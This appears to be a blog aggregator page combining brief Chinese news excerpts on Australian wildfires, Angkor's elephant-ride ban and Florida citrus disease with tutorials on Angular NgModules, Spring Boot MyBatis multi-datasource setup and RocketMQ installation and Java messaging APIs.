澳洲東西部爆發數十起野火高溫預報不利救災

2020-07-152020-07-15 admin

摘錄自2019年11月17日中央通訊社澳洲報導

澳洲東部和西部今天（17日）共有數十起野火焚燒，散布在寬闊帶狀區域。由於未來幾天氣溫預料將升高，風勢也將更強勁，消防人員正緊急強化防火措施。

澳洲西部部分地區18日氣溫預測將超越攝氏40度，且高溫預料下週擴大至東部，恐令新南威爾斯省（New South Wales）和昆士蘭省（Queensland）氣候環境更不利。這2個省分已飽受叢林野火肆虐之苦。澳洲叢林大火季今年提前在南半球春天爆發，9日至今已在新南威爾斯省造成4人死亡，摧毀303間房屋。

其中哥斯伯斯山（Gospers Mountain）火災在雪梨西北方郊區附近延燒超過4萬4800公頃，消防人員用「引火回燒」（back burn）方式強化防火線，但火勢仍尚未獲得控制。引火回燒是刻意放火來清除乾燥易燃的矮木叢。

新南威爾斯省環境暨遺產局（NSW Office of Environment and Heritage）在推特發文表示，由於火災危險程度仍處於非常高至嚴重等級，省內中部至北部沿海的國家公園大多將維持關閉，包括藍山（Blue Mountains）北部的國家公園，直到發布新通知。

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不再逼動物賺錢吳哥窟園區2020年起禁止騎象

2020-07-152020-07-15 admin

摘錄自2019年11月15日中央通訊社吳哥窟報導

柬埔寨的吳哥窟暨暹粒地區保護管理局（Apsara Authority）官員今天（15日）表示，明年初開始將禁止吳哥窟所在考古園區的大象騎乘活動。

吳哥考古園區位在柬埔寨北部，匯集柬國大多數外籍遊客，去年創下約600萬造訪人次新高紀錄。不少遊客選擇騎乘大象在園區內的古老寺廟遺址間漫遊。吳哥窟暨暹粒地區保護管理局發言人告訴法新社：「藉大象營利已不再恰當。」他還說，部分大象年事已高。

園區原本有14頭「在職」大象，其中5頭已被送到距離寺廟古蹟群大約40公里的樹林安置。管理局發言人指出：「牠們在那裡將以自然方式度過餘生。」他強調，擁有這些大象的企業將持續照護牠們。

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佛羅里達州九成柑橘染「愛滋」三分之二果汁停產

2020-07-152020-07-15 admin

摘錄自2019年11月14日法廣社報導

美國的重要柑橘產區佛羅里達州九成柑橘樹感染源自中國的致命病害「黃龍病」，導致樹枝枯萎、葉片扭曲變形、樹幹腐爛；專家將這種植物病害稱之為「柑橘愛滋病」。

佛羅里達州柑橘產業價值90億元，為該州第二大產業，僅次於觀光業；佛州的柳橙汁產量佔全國逾80%。《華盛頓郵報》報導，佛州當局稱黃龍病為「可預期破壞性最大的外來植物病害之一」，已摧毀佛州標誌性的柑橘產業。

隨着每年11月到隔年5月的採收季節到來，「幽靈樹叢」卻遍布佛州各地，迫使農民廢棄部分作物，結束果汁生意，甚至將整座事業轉賣；《華盛頓郵報》報導說，2004年佛州有7000多名農民種植柑橘，如今約5000人已經放棄。

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Angular 從入坑到挖坑 – 模塊簡介

2020-07-142020-07-14 admin

一、Overview

Angular 入坑記錄的筆記第七篇，介紹 Angular 中的模塊的相關概念，了解相關的使用場景，以及知曉如何通過特性模塊來組織我們的 Angular 應用

對應官方文檔地址：

NgModule 簡介
NgModules
JavaScript 模塊 vs. NgModule
使用根模塊啟動應用
常用模塊
特性模塊

二、Contents

Angular 從入坑到棄坑 – Angular 使用入門
Angular 從入坑到挖坑 – 組件食用指南
Angular 從入坑到挖坑 – 表單控件概覽
Angular 從入坑到挖坑 – HTTP 請求概覽
Angular 從入坑到挖坑 – Router 路由使用入門指北
Angular 從入坑到挖坑 – 路由守衛連連看
Angular 從入坑到挖坑 – 模塊簡介

三、Knowledge Graph

四、Step by Step

4.1、前端模塊化

前端模塊化是指將程序中一組相關的功能按照一定的規則組織在一塊，整個模塊內部的數據和功能實現是私有的，通過 export 暴露其中的一些接口（方法）與系統中的別的模塊進行通信

NgModule 簡介

在 Angular 應用中，至少會存在一個 NgModule，也就是應用的根模塊（AppModule）,通過引導這個根模塊就可以啟動整個項目

像開發中使用到 FormsModule、HttpClientModule 這種 Angular 內置的庫也都是一個個的 NgModule，在開發中通過將組件、指令、管道、服務或其它的代碼文件聚合成一個內聚的功能塊，專註於系統的某個功能模塊

常見的 NgModule 模塊

模塊名稱	模塊所在文件	功能點
BrowserModule	@angular/platform-browser	用於啟動和運行瀏覽器應用的的基本服務
CommonModule	@angular/common	使用 NgIf、NgFor 之類的內置指令
FormsModule	@angular/forms	使用 NgModel 構建模板驅動表單
ReactiveFormsModule	@angular/forms	構建響應式表單
RouterModule	@angular/router	使用前端路由
HttpClientModule	@angular/common/http	發起 http 請求

JavaScript 模塊與 NgModule

在 JavaScript 中，每一個 js 文件就是一個模塊，文件中定義的所有對象都從屬於那個模塊。通過 export 關鍵字，模塊可以把其中的某些對象聲明為公共的，從而其它 JavaScript 模塊可以使用 import 語句來訪問這些公共對象

例如下面的示例代碼中，別的 javascript 模塊可以通過導入這個 js 文件來直接使用暴露的 getRoles 和 getUserInfo 方法

function getRoles() {
    // ...
}

function getUserInfo() {
    // ...
}

export {
    getRoles,
    getUserInfo
}

NgModule 是一個帶有 @NgModule 裝飾器的類，通過函數的參數來描述這個模塊，例如在上節筆記中創建的 CrisisModule，定義了我們在該特性模塊中創建的組件，以及需要使用到的其它模塊

在使用 @NgModule 裝飾器時，通常會使用到下面的屬性來定義一個模塊

declarations：當前模塊中的組件、指令、管道
imports：當前模塊所需的其它 NgModule 模塊
exports：其它模塊中可以使用到當前模塊可聲明的對象
providers：當前模塊向當前應用中其它應用模塊暴露的服務
bootstrap：用來定義整個應用的根組件，是應用中所有其它視圖的宿主，只有根模塊中才會存在

4.2、應用的根模塊

根模塊是用來啟動此 Angular 應用的模塊，按照慣例，它通常命名為 AppModule

通過 Angular CLI 新建一個應用后，默認的根模塊代碼如下，通過使用 @NgModule 裝飾器裝飾 AppModule 類，定義了這個模塊的一些屬性特徵，從而告訴 Angular 如何編譯和啟動本應用

import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';

import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';

@NgModule({
  declarations: [
    AppComponent
  ],
  imports: [
    BrowserModule,
    AppRoutingModule
  ],
  providers: [],
  bootstrap: [AppComponent]
})
export class AppModule { }

declarations

declarations 數組告訴 Angular 哪些組件屬於當前模塊。當創建新的組件時，需要將它們添加到 declarations 數組中。每個組件都只能聲明在一個 NgModule 類中，同時，如果你使用了未聲明過的組件，Angular 將會報錯

同樣的，對於當前模塊使用到的自定義指令、自定義管道，也需要在 declarations 數組中進行聲明

imports

imports 數組表明當前模塊正常工作時需要引入哪些的模塊，例如這裏使用到的 BrowserModule、AppRoutingModule 或者是我們使用雙向數據綁定時使用到的 FormsModule，它表現出當前模塊的一個依賴關係

providers

providers 數組定義了當前模塊可以提供給當前應用其它模塊的各項服務，例如一個用戶模塊，提供了獲取當前登錄用戶信息的服務，因為應用中的其它地方也會存在調用的可能，因此，可以通過添加到 providers 數組中，提供給別的模塊使用

bootstrap

Angular 應用通過引導根模塊來啟動的，因為會涉及到構建組件樹，形成實際的 DOM，因此需要在 bootstrap 數組中添加根組件用來作為組件樹的根

4.3、特性模塊

特性模塊是用來將特定的功能或具有相關特性的代碼從其它代碼中分離出來，聚焦於特定應用需求。特性模塊通過它提供的服務以及共享出的組件、指令和管道來與根模塊和其它模塊合作

在上一章中，定義了一個 CrisisModule 用來包括包含與危機有關的功能模塊，創建特性模塊時可以通過 Angular CLI 命令行進行創建

-- 創建名為 xxx 的特性模塊
ng new component xxx

import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';

import { CrisisRoutingModule } from './crisis-routing.module';

import { FormsModule } from '@angular/forms';

import { CrisisListComponent } from './crisis-list/crisis-list.component';
import { CrisisDetailComponent } from './crisis-detail/crisis-detail.component';


@NgModule({
  declarations: [
    CrisisListComponent,
    CrisisDetailComponent
  ],
  imports: [
    CommonModule,
    FormsModule,
    CrisisRoutingModule
  ]
})
export class CrisisModule { }

當創建完成后，為了將該特性模塊包含到應用中，需要和 BrowserModule、AppRoutingModule 一樣，在根模塊中 imports 引入

默認情況下，NgModule 都是急性加載的，也就是說它會在應用加載時儘快加載，所有模塊都是如此，無論是否立即要用。對於帶有很多路由的大型應用，考慮使用惰性加載的模式。惰性加載可以減小初始包的尺寸，從而減少程序首次的加載時間

import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';

import { FormsModule } from '@angular/forms';

import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';

// 添加自定義的模塊
import { CrisisModule } from './crisis/crisis.module';

@NgModule({
  declarations: [
    AppComponent
  ],
  imports: [
    BrowserModule,
    FormsModule,
    CrisisModule, // 引入自定義模塊
    AppRoutingModule
  ],
  providers: [],
  bootstrap: [AppComponent]
})
export class AppModule { }

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Spring Boot 2.x基礎教程：MyBatis的多數據源配置

2020-07-142020-07-14 admin

前两天，我們已經介紹了關於JdbcTemplate的多數據源配置以及Spring Data JPA的多數據源配置，接下來具體說說使用MyBatis時候的多數據源場景該如何配置。

添加多數據源的配置

先在Spring Boot的配置文件application.properties中設置兩個你要鏈接的數據庫配置，比如這樣：

spring.datasource.primary.jdbc-url=jdbc:mysql://localhost:3306/test1
spring.datasource.primary.username=root
spring.datasource.primary.password=123456
spring.datasource.primary.driver-class-name=com.mysql.cj.jdbc.Driver

spring.datasource.secondary.jdbc-url=jdbc:mysql://localhost:3306/test2
spring.datasource.secondary.username=root
spring.datasource.secondary.password=123456
spring.datasource.secondary.driver-class-name=com.mysql.cj.jdbc.Driver

說明與注意：

多數據源配置的時候，與單數據源不同點在於spring.datasource之後多設置一個數據源名稱primary和secondary來區分不同的數據源配置，這個前綴將在後續初始化數據源的時候用到。
數據源連接配置2.x和1.x的配置項是有區別的：2.x使用spring.datasource.secondary.jdbc-url，而1.x版本使用spring.datasource.secondary.url。如果你在配置的時候發生了這個報錯java.lang.IllegalArgumentException: jdbcUrl is required with driverClassName.，那麼就是這個配置項的問題。
可以看到，不論使用哪一種數據訪問框架，對於數據源的配置都是一樣的。

初始化數據源與MyBatis配置

完成多數據源的配置信息之後，就來創建個配置類來加載這些配置信息，初始化數據源，以及初始化每個數據源要用的MyBatis配置。

這裏我們繼續將數據源與框架配置做拆分處理：

單獨建一個多數據源的配置類，比如下面這樣：

@Configuration
public class DataSourceConfiguration {

    @Primary
    @Bean
    @ConfigurationProperties(prefix = "spring.datasource.primary")
    public DataSource primaryDataSource() {
        return DataSourceBuilder.create().build();
    }

    @Bean
    @ConfigurationProperties(prefix = "spring.datasource.secondary")
    public DataSource secondaryDataSource() {
        return DataSourceBuilder.create().build();
    }

}

可以看到內容跟JdbcTemplate、Spring Data JPA的時候是一模一樣的。通過@ConfigurationProperties可以知道這兩個數據源分別加載了spring.datasource.primary.*和spring.datasource.secondary.*的配置。@Primary註解指定了主數據源，就是當我們不特別指定哪個數據源的時候，就會使用這個Bean真正差異部分在下面的JPA配置上。

分別創建兩個數據源的MyBatis配置。

Primary數據源的JPA配置：

@Configuration
@MapperScan(
        basePackages = "com.didispace.chapter39.p",
        sqlSessionFactoryRef = "sqlSessionFactoryPrimary",
        sqlSessionTemplateRef = "sqlSessionTemplatePrimary")
public class PrimaryConfig {

    private DataSource primaryDataSource;

    public PrimaryConfig(@Qualifier("primaryDataSource") DataSource primaryDataSource) {
        this.primaryDataSource = primaryDataSource;
    }

    @Bean
    public SqlSessionFactory sqlSessionFactoryPrimary() throws Exception {
        SqlSessionFactoryBean bean = new SqlSessionFactoryBean();
        bean.setDataSource(primaryDataSource);
        return bean.getObject();
    }

    @Bean
    public SqlSessionTemplate sqlSessionTemplatePrimary() throws Exception {
        return new SqlSessionTemplate(sqlSessionFactoryPrimary());
    }

}

Secondary數據源的JPA配置：

@Configuration
@MapperScan(
        basePackages = "com.didispace.chapter39.s",
        sqlSessionFactoryRef = "sqlSessionFactorySecondary",
        sqlSessionTemplateRef = "sqlSessionTemplateSecondary")
public class SecondaryConfig {

    private DataSource secondaryDataSource;

    public SecondaryConfig(@Qualifier("secondaryDataSource") DataSource secondaryDataSource) {
        this.secondaryDataSource = secondaryDataSource;
    }

    @Bean
    public SqlSessionFactory sqlSessionFactorySecondary() throws Exception {
        SqlSessionFactoryBean bean = new SqlSessionFactoryBean();
        bean.setDataSource(secondaryDataSource);
        return bean.getObject();
    }

    @Bean
    public SqlSessionTemplate sqlSessionTemplateSecondary() throws Exception {
        return new SqlSessionTemplate(sqlSessionFactorySecondary());
    }

}

說明與注意：

配置類上使用@MapperScan註解來指定當前數據源下定義的Entity和Mapper的包路徑；另外需要指定sqlSessionFactory和sqlSessionTemplate，這兩個具體實現在該配置類中類中初始化。
配置類的構造函數中，通過@Qualifier註解來指定具體要用哪個數據源，其名字對應在DataSourceConfiguration配置類中的數據源定義的函數名。
配置類中定義SqlSessionFactory和SqlSessionTemplate的實現，注意具體使用的數據源正確（如果使用這裏的演示代碼，只要第二步沒問題就不需要修改）。

上一篇介紹JPA的時候，因為之前介紹JPA的使用時候，說過實體和Repository定義的方法，所以省略了 User 和 Repository的定義代碼，但是還是有讀者問怎麼沒有這個，其實都有說明，倉庫代碼里也都是有的。未避免再問這樣的問題，所以這裏就貼一下吧。

根據上面Primary數據源的定義，在com.didispace.chapter39.p包下，定義Primary數據源要用的實體和數據訪問對象，比如下面這樣：

@Data
@NoArgsConstructor
public class UserPrimary {

    private Long id;

    private String name;
    private Integer age;

    public UserPrimary(String name, Integer age) {
        this.name = name;
        this.age = age;
    }
}

public interface UserMapperPrimary {

    @Select("SELECT * FROM USER WHERE NAME = #{name}")
    UserPrimary findByName(@Param("name") String name);

    @Insert("INSERT INTO USER(NAME, AGE) VALUES(#{name}, #{age})")
    int insert(@Param("name") String name, @Param("age") Integer age);

    @Delete("DELETE FROM USER")
    int deleteAll();

}

根據上面Secondary數據源的定義，在com.didispace.chapter39.s包下，定義Secondary數據源要用的實體和數據訪問對象，比如下面這樣：

@Data
@NoArgsConstructor
public class UserSecondary {

    private Long id;

    private String name;
    private Integer age;

    public UserSecondary(String name, Integer age) {
        this.name = name;
        this.age = age;
    }
}

public interface UserMapperSecondary {

    @Select("SELECT * FROM USER WHERE NAME = #{name}")
    UserSecondary findByName(@Param("name") String name);

    @Insert("INSERT INTO USER(NAME, AGE) VALUES(#{name}, #{age})")
    int insert(@Param("name") String name, @Param("age") Integer age);

    @Delete("DELETE FROM USER")
    int deleteAll();
}

測試驗證

完成了上面之後，我們就可以寫個測試類來嘗試一下上面的多數據源配置是否正確了，先來設計一下驗證思路：

往Primary數據源插入一條數據
從Primary數據源查詢剛才插入的數據，配置正確就可以查詢到
從Secondary數據源查詢剛才插入的數據，配置正確應該是查詢不到的
往Secondary數據源插入一條數據
從Primary數據源查詢剛才插入的數據，配置正確應該是查詢不到的
從Secondary數據源查詢剛才插入的數據，配置正確就可以查詢到

具體實現如下：

@Slf4j
@RunWith(SpringRunner.class)
@SpringBootTest
@Transactional
public class Chapter39ApplicationTests {

    @Autowired
    private UserMapperPrimary userMapperPrimary;
    @Autowired
    private UserMapperSecondary userMapperSecondary;

    @Before
    public void setUp() {
        // 清空測試表，保證每次結果一樣
        userMapperPrimary.deleteAll();
        userMapperSecondary.deleteAll();
    }

    @Test
    public void test() throws Exception {
        // 往Primary數據源插入一條數據
        userMapperPrimary.insert("AAA", 20);

        // 從Primary數據源查詢剛才插入的數據，配置正確就可以查詢到
        UserPrimary userPrimary = userMapperPrimary.findByName("AAA");
        Assert.assertEquals(20, userPrimary.getAge().intValue());

        // 從Secondary數據源查詢剛才插入的數據，配置正確應該是查詢不到的
        UserSecondary userSecondary = userMapperSecondary.findByName("AAA");
        Assert.assertNull(userSecondary);

        // 往Secondary數據源插入一條數據
        userMapperSecondary.insert("BBB", 20);

        // 從Primary數據源查詢剛才插入的數據，配置正確應該是查詢不到的
        userPrimary = userMapperPrimary.findByName("BBB");
        Assert.assertNull(userPrimary);

        // 從Secondary數據源查詢剛才插入的數據，配置正確就可以查詢到
        userSecondary = userMapperSecondary.findByName("BBB");
        Assert.assertEquals(20, userSecondary.getAge().intValue());
    }

}

代碼示例

本文的相關例子可以查看下面倉庫中的chapter3-9目錄：

Github：https://github.com/dyc87112/SpringBoot-Learning/
Gitee：https://gitee.com/didispace/SpringBoot-Learning/

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RocketMQ入門到入土（一）新手也能看懂的原理和實戰！

2020-07-142020-07-14 admin

學任何技術都是兩步驟：

搭建環境
helloworld

我也不例外，直接搞起來。

一、RocketMQ的安裝

1、文檔

官方網站

http://rocketmq.apache.org

GitHub

https://github.com/apache/rocketmq

2、下載

wget https://mirror.bit.edu.cn/apache/rocketmq/4.7.0/rocketmq-all-4.7.0-bin-release.zip

我們是基於Centos8來的，面向官方文檔學習，所以下載地址自然也是官方的。

去官方網站找合適的版本進行下載，目前我這裏最新的是4.7.0版本。

http://rocketmq.apache.org/dowloading/releases/

https://www.apache.org/dyn/closer.cgi?path=rocketmq/4.7.0/rocketmq-all-4.7.0-bin-release.zip

3、準備工作

3.1、解壓

unzip rocketmq-all-4.7.0-bin-release.zip

3.2、安裝jdk

sudo yum install java-1.8.0-openjdk-devel

4、啟動

4.1、啟動namesrv

cd rocketmq-all-4.7.0-bin-release/bin
./mqnamesrv

4.2、啟動broker

cd rocketmq-all-4.7.0-bin-release/bin
./mqbroker -n localhost:9876

常見錯誤以及解決方案：

常見錯誤：啟動broker失敗 Cannot allocate memory

[root@node-113b bin]# ./mqbroker -n localhost:9876
Java HotSpot(TM) 64-Bit Server VM warning: INFO: os::commit_memory(0x00000005c0000000, 8589934592, 0) failed
; error='Cannot allocate memory' (errno=12)#
# There is insufficient memory for the Java Runtime Environment to continue.
# Native memory allocation (mmap) failed to map 8589934592 bytes for committing reserved memory.
# An error report file with more information is saved as:
# /usr/local/rocketmq/bin/hs_err_pid1997.log

解決方案：

是由於默認內存分配的太大了，超出了本機內存，直接OOM了。

修改bin/目錄下的如下兩個腳本

runbroker.sh
runserver.sh

在這兩個腳本里都搜索-server -Xms，將其內存分配小點，自己玩的話512MB就足夠了，夠夠的了！

4.3、啟動成功標識

namesrv啟動成功標識：

broker啟動成功標識：

二、RocketMQ控制台的安裝

控制台目前獲取方式有如下兩種：

第三方網站去下載現成的，比如csdn等。
官方源碼包自己編譯而成，官方沒有現成的。

我們這裏當然採取官方方式。

1、官方文檔

github倉庫

https://github.com/apache/rocketmq-externals

中文指南

https://github.com/apache/rocketmq-externals/blob/master/rocketmq-console/doc/1_0_0/UserGuide_CN.md

2、下載源碼

https://codeload.github.com/apache/rocketmq-externals/zip/master

3、修改配置（可選）

我們下載完解壓后的文件目錄如下：

修改rocketmq-consolesrcmainresourcesapplication.properties文件的server.port就歐了。默認8080。

4、編譯打包

進入rocketmq-console，然後用maven進行編譯打包

mvn clean package -DskipTests

打包完會在target下生成我們spring boot的jar程序，直接java -jar啟動完事。

5、啟動控制台

將編譯打包好的springboot程序扔到服務器上，執行如下命令進行啟動

java -jar rocketmq-console-ng-1.0.1.jar --rocketmq.config.namesrvAddr=127.0.0.1:9876

如果想後台啟動就nohup &

訪問一下看看效果：

三、測試

rocketmq給我們提供了測試工具和測試類，可以在安裝完很方便的進行測試。

0、準備工作

rocketmq給我們提供的默認測試工具在bin目錄下，叫tools.sh。我們測試前需要配置這個腳本，為他指定namesrv地址才可以，否則測試發送/消費消息的時候會出現如下錯誤 connect to null failed：

22:49:02.470 [main] DEBUG i.n.u.i.l.InternalLoggerFactory - Using SLF4J as the default logging framework
RocketMQLog:WARN No appenders could be found for logger (io.netty.util.internal.PlatformDependent0).
RocketMQLog:WARN Please initialize the logger system properly.
java.lang.IllegalStateException: org.apache.rocketmq.remoting.exception.RemotingConnectException: connect to null failed

配置如下：

vim tools.sh
# 在export JAVA_HOME上面添加如下這段代碼
export NAMESRV_ADDR=localhost:9876

1、發送消息

./tools.sh org.apache.rocketmq.example.quickstart.Producer

成功的話會看到嘩嘩嘩的日誌，因為這個類會發送1000條消息到TopicTest這個Topic下。

2、消費消息

./tools.sh org.apache.rocketmq.example.quickstart.Consumer

成功的話會看到嘩嘩嘩的日誌，因為這個類會消費TopicTest下的全部消息。剛發送的1000條都會被消費掉。

3、控制台

發送成功后我們自然也能來到管控台去看消息和消費情況等等等信息

四、架構圖以及角色

1、架構圖

2、角色

2.1、Broker

理解成RocketMQ本身
broker主要用於producer和consumer接收和發送消息
broker會定時向nameserver提交自己的信息
是消息中間件的消息存儲、轉發服務器
每個Broker節點，在啟動時，都會遍歷NameServer列表，與每個NameServer建立長連接，註冊自己的信息，之後定時上報

2.2、Nameserver

理解成zookeeper的效果，只是他沒用zk，而是自己寫了個nameserver來替代zk
底層由netty實現，提供了路由管理、服務註冊、服務發現的功能，是一個無狀態節點
nameserver是服務發現者，集群中各個角色（producer、broker、consumer等）都需要定時向nameserver上報自己的狀態，以便互相發現彼此，超時不上報的話，nameserver會把它從列表中剔除
nameserver可以部署多個，當多個nameserver存在的時候，其他角色同時向他們上報信息，以保證高可用，
NameServer集群間互不通信，沒有主備的概念
nameserver內存式存儲，nameserver中的broker、topic等信息默認不會持久化，所以他是無狀態節點

2.3、Producer

消息的生產者
隨機選擇其中一個NameServer節點建立長連接，獲得Topic路由信息（包括topic下的queue，這些queue分佈在哪些broker上等等）
接下來向提供topic服務的master建立長連接（因為rocketmq只有master才能寫消息），且定時向master發送心跳

2.4、Consumer

消息的消費者
通過NameServer集群獲得Topic的路由信息，連接到對應的Broker上消費消息
由於Master和Slave都可以讀取消息，因此Consumer會與Master和Slave都建立連接進行消費消息

3、核心流程

Broker都註冊到Nameserver上
Producer發消息的時候會從Nameserver上獲取發消息的topic信息
Producer向提供服務的所有master建立長連接，且定時向master發送心跳
Consumer通過NameServer集群獲得Topic的路由信息
Consumer會與所有的Master和所有的Slave都建立連接進行監聽新消息

五、核心概念

1、Message

消息載體。Message發送或者消費的時候必須指定Topic。Message有一個可選的Tag項用於過濾消息，還可以添加額外的鍵值對。

2、topic

消息的邏輯分類，發消息之前必須要指定一個topic才能發，就是將這條消息發送到這個topic上。消費消息的時候指定這個topic進行消費。就是邏輯分類。

3、queue

1個Topic會被分為N個Queue，數量是可配置的。message本身其實是存儲到queue上的，消費者消費的也是queue上的消息。多說一嘴，比如1個topic4個queue，有5個Consumer都在消費這個topic，那麼會有一個consumer浪費掉了，因為負載均衡策略，每個consumer消費1個queue，5>4，溢出1個，這個會不工作。

4、Tag

Tag 是 Topic 的進一步細分，顧名思義，標籤。每個發送的時候消息都能打tag，消費的時候可以根據tag進行過濾，選擇性消費。

5、Message Model

消息模型：集群（Clustering）和廣播（Broadcasting）

6、Message Order

消息順序：順序（Orderly）和併發（Concurrently）

7、Producer Group

消息生產者組

8、Consumer Group

消息消費者組

六、ACK

首先要明確一點：ACK機制是發生在Consumer端的，不是在Producer端的。也就是說Consumer消費完消息后要進行ACK確認，如果未確認則代表是消費失敗，這時候Broker會進行重試策略（僅集群模式會重試）。ACK的意思就是：Consumer說：ok，我消費成功了。這條消息給我標記成已消費吧。

七、消費模式

1、集群模式（Clustering）

1.1、圖解

1.2、特點

每條消息只需要被處理一次，broker只會把消息發送給消費集群中的一個消費者
在消息重投時，不能保證路由到同一台機器上
消費狀態由broker維護

2、廣播模式（Broadcasting）

2.1、圖解

2.2、特點

消費進度由consumer維護
保證每個消費者都消費一次消息
消費失敗的消息不會重投

八、Java API

說明：

RocketMQ服務端版本為目前最新版：4.7.0
Java客戶端版本採取的目前最新版：4.7.0

pom如下

<dependency>
    <groupId>org.apache.rocketmq</groupId>
    <artifactId>rocketmq-client</artifactId>
    <version>4.7.0</version>
</dependency>

1、Producer

發消息肯定要必備如下幾個條件：

指定生產組名（不能用默認的，會報錯）

配置namesrv地址（必須）

指定topic name（必須）

指定tag/key（可選）

驗證消息是否發送成功：消息發送完后可以啟動消費者進行消費，也可以去管控台上看消息是否存在。

1.1、send（同步）

public class Producer {
    public static void main(String[] args) throws Exception {
        // 指定生產組名為my-producer
        DefaultMQProducer producer = new DefaultMQProducer("my-producer");
        // 配置namesrv地址
        producer.setNamesrvAddr("124.57.180.156:9876");
        // 啟動Producer
        producer.start();
        // 創建消息對象，topic為：myTopic001，消息內容為：hello world
        Message msg = new Message("myTopic001", "hello world".getBytes());
        // 發送消息到mq，同步的
        SendResult result = producer.send(msg);
        System.out.println("發送消息成功！result is : " + result);
        // 關閉Producer
        producer.shutdown();
        System.out.println("生產者 shutdown！");
    }
}

輸出結果：

發送消息成功！result is : SendResult [sendStatus=SEND_OK, msgId=A9FE854140F418B4AAC26F7973910000, offsetMsgId=7B39B49D00002A9F00000000000589BE, messageQueue=MessageQueue [topic=myTopic001, brokerName=broker-a, queueId=0], queueOffset=7]
生產者 shutdown！

1.2、send（批量）

public class ProducerMultiMsg {
    public static void main(String[] args) throws Exception {
        // 指定生產組名為my-producer
        DefaultMQProducer producer = new DefaultMQProducer("my-producer");
        // 配置namesrv地址
        producer.setNamesrvAddr("124.57.180.156:9876");
        // 啟動Producer
        producer.start();

        String topic = "myTopic001";
        // 創建消息對象，topic為：myTopic001，消息內容為：hello world1/2/3
        Message msg1 = new Message(topic, "hello world1".getBytes());
        Message msg2 = new Message(topic, "hello world2".getBytes());
        Message msg3 = new Message(topic, "hello world3".getBytes());
        // 創建消息對象的集合，用於批量發送
        List<Message> msgs = new ArrayList<>();
        msgs.add(msg1);
        msgs.add(msg2);
        msgs.add(msg3);
        // 批量發送的api的也是send()，只是他的重載方法支持List<Message>，同樣是同步發送。
        SendResult result = producer.send(msgs);
        System.out.println("發送消息成功！result is : " + result);
        // 關閉Producer
        producer.shutdown();
        System.out.println("生產者 shutdown！");
    }
}

輸出結果：

發送消息成功！result is : SendResult [sendStatus=SEND_OK, msgId=A9FE854139C418B4AAC26F7D13770000,A9FE854139C418B4AAC26F7D13770001,A9FE854139C418B4AAC26F7D13770002, offsetMsgId=7B39B49D00002A9F0000000000058A62,7B39B49D00002A9F0000000000058B07,7B39B49D00002A9F0000000000058BAC, messageQueue=MessageQueue [topic=myTopic001, brokerName=broker-a, queueId=0], queueOffset=8]
生產者 shutdown！

從結果中可以看到只有一個msgId，所以可以發現雖然是三條消息對象，但是卻只發送了一次，大大節省了client與server的開銷。

錯誤情況：

批量發送的topic必須是同一個，如果message對象指定不同的topic，那麼批量發送的時候會報錯：

Exception in thread "main" org.apache.rocketmq.client.exception.MQClientException: Failed to initiate the MessageBatch
For more information, please visit the url, http://rocketmq.apache.org/docs/faq/
    at org.apache.rocketmq.client.producer.DefaultMQProducer.batch(DefaultMQProducer.java:950)
    at org.apache.rocketmq.client.producer.DefaultMQProducer.send(DefaultMQProducer.java:898)
    at com.chentongwei.mq.rocketmq.ProducerMultiMsg.main(ProducerMultiMsg.java:29)
Caused by: java.lang.UnsupportedOperationException: The topic of the messages in one batch should be the same
    at org.apache.rocketmq.common.message.MessageBatch.generateFromList(MessageBatch.java:58)
    at org.apache.rocketmq.client.producer.DefaultMQProducer.batch(DefaultMQProducer.java:942)
    ... 2 more

1.3、sendCallBack（異步）

public class ProducerASync {
    public static void main(String[] args) throws Exception {
       // 指定生產組名為my-producer
        DefaultMQProducer producer = new DefaultMQProducer("my-producer");
        // 配置namesrv地址
        producer.setNamesrvAddr("124.57.180.156:9876");
        // 啟動Producer
        producer.start();

        // 創建消息對象，topic為：myTopic001，消息內容為：hello world async
        Message msg = new Message("myTopic001", "hello world async".getBytes());
        // 進行異步發送，通過SendCallback接口來得知發送的結果
        producer.send(msg, new SendCallback() {
            // 發送成功的回調接口
            @Override
            public void onSuccess(SendResult sendResult) {
                System.out.println("發送消息成功！result is : " + sendResult);
            }
            // 發送失敗的回調接口
            @Override
            public void onException(Throwable throwable) {
                throwable.printStackTrace();
                System.out.println("發送消息失敗！result is : " + throwable.getMessage());
            }
        });

        producer.shutdown();
        System.out.println("生產者 shutdown！");
    }
}

輸出結果：

生產者 shutdown！
java.lang.IllegalStateException: org.apache.rocketmq.remoting.exception.RemotingConnectException: connect to [124.57.180.156:9876] failed
    at org.apache.rocketmq.client.impl.factory.MQClientInstance.updateTopicRouteInfoFromNameServer(MQClientInstance.java:681)
    at org.apache.rocketmq.client.impl.factory.MQClientInstance.updateTopicRouteInfoFromNameServer(MQClientInstance.java:511)
    at org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl.tryToFindTopicPublishInfo(DefaultMQProducerImpl.java:692)
    at org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl.sendDefaultImpl(DefaultMQProducerImpl.java:556)
    at org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl.access$300(DefaultMQProducerImpl.java:97)
    at org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl$4.run(DefaultMQProducerImpl.java:510)
    at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
    at java.util.concurrent.FutureTask.run(FutureTask.java:266)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.apache.rocketmq.remoting.exception.RemotingConnectException: connect to [124.57.180.156:9876] failed
    at org.apache.rocketmq.remoting.netty.NettyRemotingClient.getAndCreateNameserverChannel(NettyRemotingClient.java:441)
    at org.apache.rocketmq.remoting.netty.NettyRemotingClient.getAndCreateChannel(NettyRemotingClient.java:396)
    at org.apache.rocketmq.remoting.netty.NettyRemotingClient.invokeSync(NettyRemotingClient.java:365)
    at org.apache.rocketmq.client.impl.MQClientAPIImpl.getTopicRouteInfoFromNameServer(MQClientAPIImpl.java:1371)
    at org.apache.rocketmq.client.impl.MQClientAPIImpl.getTopicRouteInfoFromNameServer(MQClientAPIImpl.java:1361)
    at org.apache.rocketmq.client.impl.factory.MQClientInstance.updateTopicRouteInfoFromNameServer(MQClientInstance.java:624)
    ... 10 more
